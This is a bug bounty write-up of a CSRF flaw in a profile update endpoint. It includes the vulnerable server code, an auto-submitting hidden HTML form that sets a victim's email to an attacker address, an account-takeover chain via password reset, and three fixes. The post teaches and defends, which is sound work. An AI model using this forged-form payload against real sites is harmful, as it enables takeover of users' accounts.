How I Found and Exploited a $700 CSRF Vulnerability

Cross-Site Request Forgery is one of those vulnerabilities that looks simple on paper but can have serious real-world consequences when found on the right endpoint. This is a walkthrough of a CSRF vulnerability I found, reported, and got rewarded $700 for — and then recreated from scratch as a lab to understand it fully.

📺 Full video walkthrough: https://youtu.be/uynNuhTe39U


What is CSRF?

CSRF tricks an authenticated user into unknowingly sending a forged request to a web application they are already logged into. The server receives the request, sees a valid session cookie, and processes it — without knowing the user never intended to send it.

The attack works because browsers automatically attach cookies to every request made to a domain, regardless of where that request originates. An attacker on a completely different website can craft a form that targets your application, and the victim’s browser will happily attach their session cookie to it.


Finding the Vulnerability

While testing the profile update functionality of the target, I intercepted the request in Burp Suite. The request looked like this:

POST /profile/update HTTP/1.1
Host: target.com
Cookie: connect.sid=abc123xyz
Content-Type: application/x-www-form-urlencoded

email=alice%40example.com&bio=Hello&phone=%2B15550100

Two things immediately stood out.

First, looking at the Set-Cookie header from the login response:

Set-Cookie: connect.sid=abc123; HttpOnly

There was no SameSite attribute. This means the browser will send this cookie on any request to the domain — including cross-origin ones.

Second, inspecting the profile update form in the page source:

<form method="POST" action="/profile/update">
  <input type="email" name="email" />
  <input type="text"  name="bio"   />
</form>

No hidden CSRF token field anywhere. The form sends nothing that the server could use to verify the request came from a legitimate page.

I right-clicked the captured request in Burp → Engagement Tools → Generate CSRF PoC. Burp produced a working HTML page that replicated the request. I opened it in the same browser while logged in — the profile was changed. Vulnerability confirmed.


Why the Server Accepted the Forged Request

The vulnerable endpoint only had one check:

app.post("/profile/update", (req, res) => {
  if (!req.session.user) return res.status(401).send("Not logged in");

  // No CSRF token check
  // No Origin header check
  // Blindly trusts any POST with a valid session cookie

  users[req.session.user].email = req.body.email;
  users[req.session.user].bio   = req.body.bio;

  res.json({ success: true });
});

A valid session cookie was the only gate. The server had no way to distinguish between a legitimate request from the real profile page and a forged one from the attacker’s page — both carried the exact same cookie.


The Attack

The attacker’s page looked like a harmless giveaway site to the victim. Behind the scenes it had a hidden form:

<form id="csrf-form"
      action="https://target.com/profile/update"
      method="POST"
      style="display:none">
  <input type="hidden" name="email" value="attacker@evil.com" />
  <input type="hidden" name="bio"   value="Account compromised" />
</form>

<script>
  window.onload = () => {
    document.getElementById("csrf-form").submit();
  };
</script>

When the victim visited the page, the form fired silently. The browser attached the session cookie automatically. The server processed it. Profile changed — all without the victim clicking anything on the real site.


Impact

On its own, this gave an attacker the ability to change any victim’s email and profile details without their knowledge. The real severity came from chaining it further — if the email is changed to an attacker-controlled address, a “Forgot Password” flow on most applications would send the reset link to that address, resulting in full account takeover.

The report was triaged as Medium severity, escalating to High when the account takeover chain was demonstrated. Bounty awarded: $700.


The Fix

Three things were added to patch the vulnerability.

1. SameSite=Strict on the session cookie

cookie: {
  httpOnly: true,
  sameSite: "strict"
}

With SameSite=Strict, the browser refuses to attach the cookie to any cross-origin request. The forged POST arrives without a cookie and gets rejected as unauthenticated.

2. Origin header validation

const allowedOrigin = `${req.protocol}://${req.headers.host}`;
if (req.headers.origin && req.headers.origin !== allowedOrigin) {
  return res.status(403).json({ error: "CSRF blocked — origin mismatch" });
}

Browsers always send an Origin header on cross-origin POST requests. If it does not match the server’s own origin, the request is rejected.

3. CSRF token

// Generate at login
const token = crypto.randomBytes(32).toString("hex");
req.session.csrfToken = token;

// Embed in every form
<input type="hidden" name="_csrf" value="${token}" />

// Validate on every POST
const a = Buffer.from(req.body._csrf,        "utf8");
const b = Buffer.from(req.session.csrfToken, "utf8");
if (!crypto.timingSafeEqual(a, b)) {
  return res.status(403).json({ error: "CSRF blocked — token mismatch" });
}

The token is a cryptographically random secret embedded in the page at render time. An attacker on a different origin cannot read it (Same-Origin Policy blocks it), so any forged request will either omit it or include the wrong value.

Any one of these three fixes would have stopped the attack. All three together make CSRF exploitation practically impossible.


Lab Recreation

I rebuilt the entire scenario as a local lab to demonstrate it end to end — a vulnerable app, an attacker page, and a fully patched version running side by side.

Setup:

npm install
node server.js    # vulnerable  → http://localhost:3000
node patched.js   # patched     → http://localhost:3001

Credentials: alice / password123

Source code and full README on GitHub: [https://github.com/AkashA1511/Vulnerable_Apps/tree/main/CSRF]


Key Takeaways

CSRF is easy to miss during development because it does not trigger any visible error — the server processes the request normally. The things to check when hunting for it are: no CSRF token in the form, no SameSite attribute on the session cookie, and no Origin or Referer validation on state-changing endpoints. High-value targets are email change, password change, payment, and account deletion — anywhere a forged action would cause the most damage.